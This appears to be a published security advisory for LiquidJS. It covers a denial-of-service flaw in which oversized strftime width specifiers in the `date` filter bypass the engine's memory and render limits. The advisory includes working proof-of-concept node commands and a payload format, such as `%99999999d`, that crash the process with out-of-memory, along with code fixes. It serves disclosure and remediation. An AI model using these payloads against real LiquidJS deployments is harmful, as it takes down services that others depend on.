GHSA-hh27-hf48-9f5q

    Dashboard / Vulnerabilities / GHSA-hh27-hf48-9f5q

    GHSA-hh27-hf48-9f5q

    Published: 27 May 2026Last Modified: 28 Oct 2026

    Summary: LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)

    Details: ## Summary The `date` filter's strftime implementation parses width specifiers like `%9999999d` and forwards the captured width unchecked into `pad()`/`padStart()` in `src/util/underscore.ts`. The pad loop performs unbounded string concatenation without consulting the Context's `memoryLimit` or `renderLimit`, so a single small template (`{{ x | date: '%5000000d' }}`) produces megabytes of output and unbounded CPU. The `memoryLimit` and `renderLimit` options the docs (`src/liquid-options.ts:87-92`) advertise as DoS controls — and which the docstring explicitly mentions for `strftime` — are entirely bypassed. ## Details `date.ts:5-13` only charges `memoryLimit` for the lengths of the input value, format string, and timezone: ```ts export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) { const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0) this.context.memoryLimit.use(size) ... return strftime(date, format) } ``` `strftime` (`src/util/strftime.ts:121`) then walks the format with `rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/`. The captured `width` group is passed directly to `padStart`: ```ts function format (d, match) { const [input, flagStr = '', width, modifier, conversion] = match ... let padWidth = width || padWidths[conversion] || 0 ... return padStart(ret, padWidth, padChar) // strftime.ts:147 } ``` `padStart` calls `pad()` in `src/util/underscore.ts:153`: ```ts export function pad (str, length, ch, add) { str = String(str) let n = length - str.length while (n-- > 0) str = add(str, ch) // unbounded loop return str } ``` The loop has no upper bound and never consults `this.context.memoryLimit` or `renderLimit`. The pad is also implemented as repeated `ch + str` string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption. Filter arguments accept context-evaluated values (`src/template/filter.ts:30-31`, `evalToken(arg, context)`), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input. This is a separate sink from the previously-reported quadratic `replace` finding: a different filter (`date`), a different parser (the strftime width regex), and a different concatenation site (`pad()` in `underscore.ts`). ## PoC Setup: `npm install [email protected]`. Step 1 — bypass `memoryLimit` and `renderLimit` (5 MB output, ~200 ms, both limits set to 50): ```bash node -e " const { Liquid } = require('liquidjs'); const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 }); const t0 = Date.now(); const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' }); console.log('len=', out.length, 'ms=', Date.now()-t0); " ``` Verified output: `len= 5000000 ms= 198`. The `memoryLimit:50` (50-byte budget) and `renderLimit:50` (50 ms budget) are both ignored. Step 2 — OOM-kill the Node process under a 200 MB heap cap: ```bash node --max-old-space-size=200 -e " const { Liquid } = require('liquidjs'); const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 }); liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' }); " ``` Verified output: `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`. Process is killed. The realistic attack template is `{{ post.created_at | date: user_supplied_format }}`, where `user_supplied_format` is any context value an attacker can influence (profile field, query param mapped into template context, etc.). ## Impact - DoS against any LiquidJS-rendered surface where a context value reaches the `date` filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process. - Bypass of the engine's two documented DoS controls — `memoryLimit` and `renderLimit` — meaning that operators who explicitly opted into DoS protection still have no defense for this code path. - All `date_to_xmlschema`, `date_to_rfc822`, `date_to_string`, `date_to_long_string` paths share the same sink via `strftime`, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on `date`. ## Recommended Fix Two complementary fixes: 1. Have `pad()` in `src/util/underscore.ts` charge the Context's memory limit and use `String.prototype.repeat` instead of an O(n) concatenation loop. Since `pad()` is generic, the simplest version takes the memory limit as a parameter: ```ts export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) { str = String(str) const n = length - str.length if (n <= 0) return str return add === ((s, c) => c + s) ? ch.repeat(n) + str : str + ch.repeat(n) } ``` 2. Cap `padWidth` in `src/util/strftime.ts:141` and account for it via `memoryLimit`. The `date` filter (`src/filters/date.ts`) should also charge `this.context.memoryLimit.use(parsedMaxWidth)` before invoking `strftime`, e.g. by scanning the format for `%(\d+)` widths and summing them. A conservative cap (e.g. `Math.min(width, 1024)` for non-`N` conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use. Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.

    Affected packages

    Package

    Name: liquidjs

    Purl: pkg:npm/liquidjs

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -10.26.0

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-hh27-hf48-9f5q | CVE-DB